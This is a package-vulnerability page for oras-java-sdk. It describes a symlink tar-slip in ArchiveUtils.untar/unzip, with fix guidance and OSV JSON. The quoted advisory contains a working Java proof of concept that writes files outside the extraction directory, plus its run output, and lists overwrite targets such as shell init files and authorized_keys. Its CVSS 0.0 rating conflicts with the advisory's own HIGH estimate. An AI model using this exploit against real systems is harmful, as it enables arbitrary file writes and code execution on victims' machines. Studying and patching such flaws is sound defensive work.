Vulnerabilities in pkg:maven/land.oras/oras-java-sdk

PACKAGE
Advisory Summary

GHSA-j6hm-v3x2-qv6j is a LOW (CVSS 0.0) path traversal vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting Oras java sdk libraries in the Maven ecosystem. The issue involves oras-java-sdk: symlink-based path traversal in archiveutils.untar / unzip allows arbitrary file write outside extraction directory. Remediation is available by upgrading affected packages to version 0.6.4.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/land.oras/oras-java-sdk

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/land.oras/oras-java-sdk. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-j6hm-v3x2-qv6j - LOW land.oras:oras-java-sdk: Symlink-based path traversal in ArchiveUtils.untar / unzip allows arbitrary file write outside extraction directory
GHSA-xm96-gfjx-jcrc - HIGH ORAS Java: Path traversal in pullArtifact via attacker-controlled org.opencontainers.image.title annotation

GHSA-j6hm-v3x2-qv6j at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-j6hm-v3x2-qv6j
Severity LOW
CVSS v3.1 Base Score 0.0
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product Oras java sdk
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 0.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-j6hm-v3x2-qv6j

To remediate this vulnerability, upgrade all affected Oras java sdk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

land.oras:oras-java-sdk fixed: 0.6.4
<dependency>
    <groupId>land.oras</groupId>
    <artifactId>oras-java-sdk</artifactId>
    <version>0.6.4</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=land.oras

How to Check if You Are Affected

To determine whether your Java application is affected by GHSA-j6hm-v3x2-qv6j, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=land.oras

Analyze the terminal output to locate any version of Oras java sdk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.4), your application is affected.

Note: The mvn dependency:tree -Dincludes=land.oras command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In Oras java sdk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `ArchiveUtils.untar(InputStream, Path)` and `ArchiveUtils.unzip(InputStream, Path)` in `land.oras:oras-java-sdk` create symbolic-link entries from an archive without validating the symlink target. A malicious tar (or zip) shipped as an OCI layer blob can place a symlink under the extraction directory whose target points outside that directory, then ship a regular-file entry whose path traverses through that symlink. The subsequent `Files.newOutputStream` call follows the symlink and writes the file outside the caller's chosen `target` directory. This bypasses the existing `ensureSafeEntry` containment check, which only validates `entry.getName()` and not `entry.getLinkName()`. Reachable from the public `Registry.pullArtifact` / `OCILayout.pullArtifact` API whenever the manifest layer carries `io.deis.oras.content.unpack=true`, and from any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` (e.g. consumers that pull an archive blob and extract it themselves, such as project-scaffolding CLIs that fetch templates from OCI registries). ### Affected versions `land.oras:oras-java-sdk` `<= 0.6.3` (current `main` commit `8e39dd54f0b9e981a5f246aefb851298187578e5`, file `src/main/java/land/oras/utils/ArchiveUtils.java` lines 400-443 for `untar`, lines 350-393 for `unzip`). Earlier path-traversal fix in PR #703 (released as `0.6.2`) addressed the `org.opencontainers.image.title` annotation sink (GHSA-xm96-gfjx-jcrc), but did not extend containment to symlink targets inside archive entries. ### Privilege required Network-position: any party able to serve an OCI artifact / archive blob that the victim's `oras-java-sdk`-based tool pulls and extracts. This includes: - A compromised or attacker-operated OCI registry endpoint (typo-squat, MITM, supply-chain into a public registry namespace). - A malicious upstream artifact author who pushes a single tampered blob to a registry the victim trusts. No registry authentication needed on the victim side beyond what is required to pull the artifact; the attack is fully driven by the contents of the layer the victim downloads. ### Root cause `src/main/java/land/oras/utils/ArchiveUtils.java` `untar(InputStream, Path)`, lines 400-443: ```java public static void untar(InputStream fis, Path target) { try { try (BufferedInputStream bis = new BufferedInputStream(fis); TarArchiveInputStream tais = new TarArchiveInputStream(bis)) { TarArchiveEntry entry; while ((entry = tais.getNextEntry()) != null) { // Check if the entry is outside the target directory ensureSafeEntry(entry, target); // validates entry.getName() only Path outputPath = target.resolve(entry.getName()).normalize(); if (entry.isDirectory()) { Files.createDirectories(outputPath); } else { Files.createDirectories(outputPath.getParent()); if (entry.isSymbolicLink()) { // entry.getLinkName() is NOT validated against target createSymbolicLink(outputPath, Paths.get(entry.getLinkName())); } else { // FOLLOWS the symlink if outputPath's parent is one try (OutputStream out = Files.newOutputStream(outputPath)) { tais.transferTo(out); } } } } } } catch (IOException e) { throw new OrasException("Failed to extract tar.gz file", e); } } ``` `ensureSafeEntry` (lines 261-268) only normalizes `entry.getName()` against `target`. `entry.getLinkName()` for symlink entries is passed straight to `createSymbolicLink`. The subsequent file-write code path uses `Files.newOutputStream` without `LinkOption.NOFOLLOW_LINKS`, so when a later entry's path traverses through the previously-created symlink, the write resolves the symlink and lands outside `target`. The same primitive applies to `unzip(InputStream, Path)` at lines 350-393 (symlink path at line 379 uses `createSymbolicLink(outputPath, Paths.get(linkStr))` without target validation). Reachability into the public API: - `Registry.pullArtifact` -> `pullLayer` (Registry.java:1088). When `io.deis.oras.content.unpack=true` is set on the layer, `pullLayer` calls `ArchiveUtils.untar(Files.newInputStream(tempArchive.getPath()), path)` at line 1109. The attacker-controlled blob is the input. - `OCILayout.pullArtifact` similar path through the layout's blob store. - Any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` / `ArchiveUtils.unzip` from a downstream consumer that fetches an archive blob and extracts it. ### Proof of concept (E2E against deployed Maven Central `land.oras:oras-java-sdk:0.6.3`) `pom.xml`: ```xml <dependency> <groupId>land.oras</groupId> <artifactId>oras-java-sdk</artifactId> <version>0.6.3</version> </dependency> ``` `src/main/java/TarSlipPoc.java`: ```java import land.oras.utils.ArchiveUtils; import org.apache.commons.compress.archivers.tar.TarArchiveEntry; import org.apache.commons.compress.archivers.tar.TarArchiveOutputStream; import java.io.*; import java.nio.file.*; public class TarSlipPoc { public static void main(String[] args) throws Exception { Path tmp = Files.createTempDirectory("orasslip-"); Path target = tmp.resolve("safe-output"); Files.createDirectories(target); Path escapeFile = tmp.resolve("ESCAPED.txt"); Files.deleteIfExists(escapeFile); Path mtar = tmp.resolve("malicious.tar"); try (TarArchiveOutputStream tout = new TarArchiveOutputStream(Files.newOutputStream(mtar))) { tout.setLongFileMode(TarArchiveOutputStream.LONGFILE_POSIX); // Entry 1: symlink at "evil-link" pointing one dir above target TarArchiveEntry symlinkEntry = new TarArchiveEntry("evil-link", TarArchiveEntry.LF_SYMLINK); symlinkEntry.setLinkName(tmp.toAbsolutePath().toString()); symlinkEntry.setMode(0777); tout.putArchiveEntry(symlinkEntry); tout.closeArchiveEntry(); // Entry 2: regular file under "evil-link/" — write follows symlink byte[] data = "POC SUCCESS\n".getBytes(); TarArchiveEntry fileEntry = new TarArchiveEntry("evil-link/ESCAPED.txt"); fileEntry.setSize(data.length); fileEntry.setMode(0644); tout.putArchiveEntry(fileEntry); tout.write(data); tout.closeArchiveEntry(); } System.out.println("ESCAPED.txt pre-extract: " + Files.exists(escapeFile)); ArchiveUtils.untar(mtar, target); System.out.println("ESCAPED.txt post-extract (outside target): " + Files.exists(escapeFile)); } } ``` Run transcript (JDK 25, Apache Maven 3.9.16, `oras-java-sdk:0.6.3` from Maven Central): ``` === PRE-EXTRACT === target=/var/folders/7n/y98nrcg928ldg8685njy1qjc0000gn/T/orasslip-8932319985819096427/safe-output ESCAPED.txt exists: false === POST-EXTRACT === target listing: /var/folders/.../orasslip-.../safe-output /var/folders/.../orasslip-.../safe-output/evil-link (symlink) ESCAPED.txt exists outside target: true ESCAPED.txt contents: POC SUCCESS ** SYMLINK TAR-SLIP CONFIRMED ** ``` Negative control: same malicious tar, extracted through a routine that resolves `entry.getLinkName()` against the entry's parent and requires the result to stay under `target`, AND opens regular files with `LinkOption.NOFOLLOW_LINKS`: ``` === NEGATIVE CONTROL (link-target validation) === BLOCKED symlink 'evil-link' -> '/var/folders/.../orasslip-neg-...' (escapes target) ESCAPED.txt exists outside target: false ** NEGATIVE CONTROL OK — no escape, safe under fix ** ``` ### Impact - Arbitrary file write under the privileges of the JVM process that runs the SDK. Files in any directory the process can write to are overwritten, including build outputs, CI workspace siblings, `~/.bashrc`-style profile files when extraction happens under the user's home, and `~/.docker/config.json` / `~/.config/containers/auth.json` to plant attacker registry credentials. - Indirect code execution when the overwritten target is a shell init file, a cron drop-in, a systemd unit drop-in, an SSH `authorized_keys` (when extraction happens under a service account home), a Jenkins / Tekton task runner script, or any executable invoked by the surrounding pipeline. - Supply-chain pivot: any oras-java-sdk consumer that pulls an artifact and extracts it (project-scaffolding CLIs, Helm-OCI fetchers, plugin pull tools, CNCF artifact handlers) becomes a remote-attacker write primitive. CVSS 3.1 vector: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H` (~8.6 HIGH). The integrity impact is high because the attacker fully chooses both the link target path and the file payload; availability is high because critical files (cron, init scripts, application binaries on the CI worker) can be overwritten. ### Suggested fix Two complementary changes in `src/main/java/land/oras/utils/ArchiveUtils.java`. Both are required: the link-target check stops the symlink from being created in the first place; `LinkOption.NOFOLLOW_LINKS` is the second line of defense against any path that already contains a symlink (race, pre-existing target dir, etc.). (1) Validate symlink targets in `untar` and `unzip` against the normalized extraction root, paralleling the existing `ensureSafeEntry` shape: ```java private static void ensureSafeSymlinkTarget(Path outputPath, Path linkTarget, Path target) throws IOException { Path normalizedTarget = target.toAbsolutePath().normalize(); Path resolved = (linkTarget.isAbsolute() ? linkTarget : outputPath.getParent().resolve(linkTarget)).normalize(); if (!resolved.startsWith(normalizedTarget)) { throw new IOException( "Refusing to create symlink that escapes target dir: " + outputPath + " -> " + linkTarget); } } ``` Call this immediately before each `createSymbolicLink(...)` site (one in `untar`, one in `unzip`). (2) Open regular-file writes with `LinkOption.NOFOLLOW_LINKS` so a pre-existing symlink under the extraction path cannot be silently followed: ```java try (OutputStream out = Files.newOutputStream( outputPath, StandardOpenOption.CREATE_NEW, StandardOpenOption.WRITE, java.nio.file.LinkOption.NOFOLLOW_LINKS)) { tais.transferTo(out); // or zais.transferTo(out) for unzip } ``` `CREATE_NEW` (instead of the implicit `CREATE` + `TRUNCATE_EXISTING`) guarantees the open fails if the path resolves to an existing entry (symlink or regular file), and is consistent with archive extraction semantics where layers should not silently clobber siblings. A regression test that builds the malicious tar inline and asserts the post-extract state stays within `target` is the natural shape for `src/test/java/land/oras/utils/ArchiveUtilsTest.java`. ### Credit Reported by tonghuaroot.

GHSA-j6hm-v3x2-qv6j Affected Oras java sdk Versions

1 component(s)
Fixed Versions:
0.6.4
Product / Package Ecosystem Affected Versions Fixed Version
land.oras:oras-java-sdk
Maven
< 0.6.4
0.6.4

References

Frequently Asked Questions

What is GHSA-j6hm-v3x2-qv6j?
GHSA-j6hm-v3x2-qv6j is a security vulnerability in Oras java sdk involving oras-java-sdk: Symlink-based path traversal in ArchiveUtils.untar / unzip allows arbitrary file write outside extraction directory under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which Oras java sdk versions are affected?
Affected versions include releases prior to 0.6.4 across affected packages: land.oras:oras-java-sdk.
What version fixes GHSA-j6hm-v3x2-qv6j?
Upgrading to 0.6.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is oras-java-sdk affected?
Yes, land.oras:oras-java-sdk is affected in releases prior to 0.6.4. Upgrade your dependency to 0.6.4 or later.
What is the CVSS score of GHSA-j6hm-v3x2-qv6j?
GHSA-j6hm-v3x2-qv6j has a CVSS v3.1 base score of 0.0 (LOW) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N.
What CWE is associated with GHSA-j6hm-v3x2-qv6j?
GHSA-j6hm-v3x2-qv6j is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check Maven dependencies for GHSA-j6hm-v3x2-qv6j?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=land.oras'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j6hm-v3x2-qv6j",
  "modified" : "2026-07-01T20:31:34Z",
  "published" : "2026-07-01T20:31:34Z",
  "aliases" : [ ],
  "summary" : "land.oras:oras-java-sdk: Symlink-based path traversal in ArchiveUtils.untar / unzip allows arbitrary file write outside extraction directory",
  "details" : "### Summary\n\n`ArchiveUtils.untar(InputStream, Path)` and `ArchiveUtils.unzip(InputStream, Path)` in `land.oras:oras-java-sdk` create symbolic-link entries from an archive without validating the symlink target. A malicious tar (or zip) shipped as an OCI layer blob can place a symlink under the extraction directory whose target points outside that directory, then ship a regular-file entry whose path traverses through that symlink. The subsequent `Files.newOutputStream` call follows the symlink and writes the file outside the caller's chosen `target` directory.\n\nThis bypasses the existing `ensureSafeEntry` containment check, which only validates `entry.getName()` and not `entry.getLinkName()`. Reachable from the public `Registry.pullArtifact` / `OCILayout.pullArtifact` API whenever the manifest layer carries `io.deis.oras.content.unpack=true`, and from any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` (e.g. consumers that pull an archive blob and extract it themselves, such as project-scaffolding CLIs that fetch templates from OCI registries).\n\n### Affected versions\n\n`land.oras:oras-java-sdk` `<= 0.6.3` (current `main` commit `8e39dd54f0b9e981a5f246aefb851298187578e5`, file `src/main/java/land/oras/utils/ArchiveUtils.java` lines 400-443 for `untar`, lines 350-393 for `unzip`).\n\nEarlier path-traversal fix in PR #703 (released as `0.6.2`) addressed the `org.opencontainers.image.title` annotation sink (GHSA-xm96-gfjx-jcrc), but did not extend containment to symlink targets inside archive entries.\n\n### Privilege required\n\nNetwork-position: any party able to serve an OCI artifact / archive blob that the victim's `oras-java-sdk`-based tool pulls and extracts. This includes:\n\n- A compromised or attacker-operated OCI registry endpoint (typo-squat, MITM, supply-chain into a public registry namespace).\n- A malicious upstream artifact author who pushes a single tampered blob to a registry the victim trusts.\n\nNo registry authentication needed on the victim side beyond what is required to pull the artifact; the attack is fully driven by the contents of the layer the victim downloads.\n\n### Root cause\n\n`src/main/java/land/oras/utils/ArchiveUtils.java` `untar(InputStream, Path)`, lines 400-443:\n\n```java\npublic static void untar(InputStream fis, Path target) {\n    try {\n        try (BufferedInputStream bis = new BufferedInputStream(fis);\n                TarArchiveInputStream tais = new TarArchiveInputStream(bis)) {\n            TarArchiveEntry entry;\n            while ((entry = tais.getNextEntry()) != null) {\n\n                // Check if the entry is outside the target directory\n                ensureSafeEntry(entry, target);   // validates entry.getName() only\n\n                Path outputPath = target.resolve(entry.getName()).normalize();\n\n                if (entry.isDirectory()) {\n                    Files.createDirectories(outputPath);\n                } else {\n                    Files.createDirectories(outputPath.getParent());\n\n                    if (entry.isSymbolicLink()) {\n                        // entry.getLinkName() is NOT validated against target\n                        createSymbolicLink(outputPath, Paths.get(entry.getLinkName()));\n                    } else {\n                        // FOLLOWS the symlink if outputPath's parent is one\n                        try (OutputStream out = Files.newOutputStream(outputPath)) {\n                            tais.transferTo(out);\n                        }\n                    }\n                }\n            }\n        }\n    } catch (IOException e) {\n        throw new OrasException(\"Failed to extract tar.gz file\", e);\n    }\n}\n```\n\n`ensureSafeEntry` (lines 261-268) only normalizes `entry.getName()` against `target`. `entry.getLinkName()` for symlink entries is passed straight to `createSymbolicLink`. The subsequent file-write code path uses `Files.newOutputStream` without `LinkOption.NOFOLLOW_LINKS`, so when a later entry's path traverses through the previously-created symlink, the write resolves the symlink and lands outside `target`.\n\nThe same primitive applies to `unzip(InputStream, Path)` at lines 350-393 (symlink path at line 379 uses `createSymbolicLink(outputPath, Paths.get(linkStr))` without target validation).\n\nReachability into the public API:\n\n- `Registry.pullArtifact` -> `pullLayer` (Registry.java:1088). When `io.deis.oras.content.unpack=true` is set on the layer, `pullLayer` calls `ArchiveUtils.untar(Files.newInputStream(tempArchive.getPath()), path)` at line 1109. The attacker-controlled blob is the input.\n- `OCILayout.pullArtifact` similar path through the layout's blob store.\n- Any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` / `ArchiveUtils.unzip` from a downstream consumer that fetches an archive blob and extracts it.\n\n### Proof of concept (E2E against deployed Maven Central `land.oras:oras-java-sdk:0.6.3`)\n\n`pom.xml`:\n\n```xml\n<dependency>\n    <groupId>land.oras</groupId>\n    <artifactId>oras-java-sdk</artifactId>\n    <version>0.6.3</version>\n</dependency>\n```\n\n`src/main/java/TarSlipPoc.java`:\n\n```java\nimport land.oras.utils.ArchiveUtils;\nimport org.apache.commons.compress.archivers.tar.TarArchiveEntry;\nimport org.apache.commons.compress.archivers.tar.TarArchiveOutputStream;\n\nimport java.io.*;\nimport java.nio.file.*;\n\npublic class TarSlipPoc {\n    public static void main(String[] args) throws Exception {\n        Path tmp = Files.createTempDirectory(\"orasslip-\");\n        Path target = tmp.resolve(\"safe-output\");\n        Files.createDirectories(target);\n        Path escapeFile = tmp.resolve(\"ESCAPED.txt\");\n        Files.deleteIfExists(escapeFile);\n\n        Path mtar = tmp.resolve(\"malicious.tar\");\n        try (TarArchiveOutputStream tout =\n                 new TarArchiveOutputStream(Files.newOutputStream(mtar))) {\n            tout.setLongFileMode(TarArchiveOutputStream.LONGFILE_POSIX);\n\n            // Entry 1: symlink at \"evil-link\" pointing one dir above target\n            TarArchiveEntry symlinkEntry =\n                new TarArchiveEntry(\"evil-link\", TarArchiveEntry.LF_SYMLINK);\n            symlinkEntry.setLinkName(tmp.toAbsolutePath().toString());\n            symlinkEntry.setMode(0777);\n            tout.putArchiveEntry(symlinkEntry);\n            tout.closeArchiveEntry();\n\n            // Entry 2: regular file under \"evil-link/\" — write follows symlink\n            byte[] data = \"POC SUCCESS\\n\".getBytes();\n            TarArchiveEntry fileEntry =\n                new TarArchiveEntry(\"evil-link/ESCAPED.txt\");\n            fileEntry.setSize(data.length);\n            fileEntry.setMode(0644);\n            tout.putArchiveEntry(fileEntry);\n            tout.write(data);\n            tout.closeArchiveEntry();\n        }\n\n        System.out.println(\"ESCAPED.txt pre-extract: \" + Files.exists(escapeFile));\n        ArchiveUtils.untar(mtar, target);\n        System.out.println(\"ESCAPED.txt post-extract (outside target): \"\n            + Files.exists(escapeFile));\n    }\n}\n```\n\nRun transcript (JDK 25, Apache Maven 3.9.16, `oras-java-sdk:0.6.3` from Maven Central):\n\n```\n=== PRE-EXTRACT ===\ntarget=/var/folders/7n/y98nrcg928ldg8685njy1qjc0000gn/T/orasslip-8932319985819096427/safe-output\nESCAPED.txt exists: false\n=== POST-EXTRACT ===\ntarget listing:\n  /var/folders/.../orasslip-.../safe-output\n  /var/folders/.../orasslip-.../safe-output/evil-link (symlink)\nESCAPED.txt exists outside target: true\nESCAPED.txt contents: POC SUCCESS\n** SYMLINK TAR-SLIP CONFIRMED **\n```\n\nNegative control: same malicious tar, extracted through a routine that resolves `entry.getLinkName()` against the entry's parent and requires the result to stay under `target`, AND opens regular files with `LinkOption.NOFOLLOW_LINKS`:\n\n```\n=== NEGATIVE CONTROL (link-target validation) ===\nBLOCKED symlink 'evil-link' -> '/var/folders/.../orasslip-neg-...' (escapes target)\nESCAPED.txt exists outside target: false\n** NEGATIVE CONTROL OK — no escape, safe under fix **\n```\n\n### Impact\n\n- Arbitrary file write under the privileges of the JVM process that runs the SDK. Files in any directory the process can write to are overwritten, including build outputs, CI workspace siblings, `~/.bashrc`-style profile files when extraction happens under the user's home, and `~/.docker/config.json` / `~/.config/containers/auth.json` to plant attacker registry credentials.\n- Indirect code execution when the overwritten target is a shell init file, a cron drop-in, a systemd unit drop-in, an SSH `authorized_keys` (when extraction happens under a service account home), a Jenkins / Tekton task runner script, or any executable invoked by the surrounding pipeline.\n- Supply-chain pivot: any oras-java-sdk consumer that pulls an artifact and extracts it (project-scaffolding CLIs, Helm-OCI fetchers, plugin pull tools, CNCF artifact handlers) becomes a remote-attacker write primitive.\n\nCVSS 3.1 vector: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H` (~8.6 HIGH). The integrity impact is high because the attacker fully chooses both the link target path and the file payload; availability is high because critical files (cron, init scripts, application binaries on the CI worker) can be overwritten.\n\n### Suggested fix\n\nTwo complementary changes in `src/main/java/land/oras/utils/ArchiveUtils.java`. Both are required: the link-target check stops the symlink from being created in the first place; `LinkOption.NOFOLLOW_LINKS` is the second line of defense against any path that already contains a symlink (race, pre-existing target dir, etc.).\n\n(1) Validate symlink targets in `untar` and `unzip` against the normalized extraction root, paralleling the existing `ensureSafeEntry` shape:\n\n```java\nprivate static void ensureSafeSymlinkTarget(Path outputPath, Path linkTarget, Path target)\n        throws IOException {\n    Path normalizedTarget = target.toAbsolutePath().normalize();\n    Path resolved = (linkTarget.isAbsolute()\n            ? linkTarget\n            : outputPath.getParent().resolve(linkTarget)).normalize();\n    if (!resolved.startsWith(normalizedTarget)) {\n        throw new IOException(\n            \"Refusing to create symlink that escapes target dir: \"\n            + outputPath + \" -> \" + linkTarget);\n    }\n}\n```\n\nCall this immediately before each `createSymbolicLink(...)` site (one in `untar`, one in `unzip`).\n\n(2) Open regular-file writes with `LinkOption.NOFOLLOW_LINKS` so a pre-existing symlink under the extraction path cannot be silently followed:\n\n```java\ntry (OutputStream out = Files.newOutputStream(\n        outputPath,\n        StandardOpenOption.CREATE_NEW,\n        StandardOpenOption.WRITE,\n        java.nio.file.LinkOption.NOFOLLOW_LINKS)) {\n    tais.transferTo(out);  // or zais.transferTo(out) for unzip\n}\n```\n\n`CREATE_NEW` (instead of the implicit `CREATE` + `TRUNCATE_EXISTING`) guarantees the open fails if the path resolves to an existing entry (symlink or regular file), and is consistent with archive extraction semantics where layers should not silently clobber siblings.\n\nA regression test that builds the malicious tar inline and asserts the post-extract state stays within `target` is the natural shape for `src/test/java/land/oras/utils/ArchiveUtilsTest.java`.\n\n\n### Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "land.oras:oras-java-sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.6.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.6.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/oras-project/oras-java/security/advisories/GHSA-j6hm-v3x2-qv6j"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/oras-project/oras-java"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-59" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-01T20:31:34Z",
    "nvd_published_at" : null
  }
}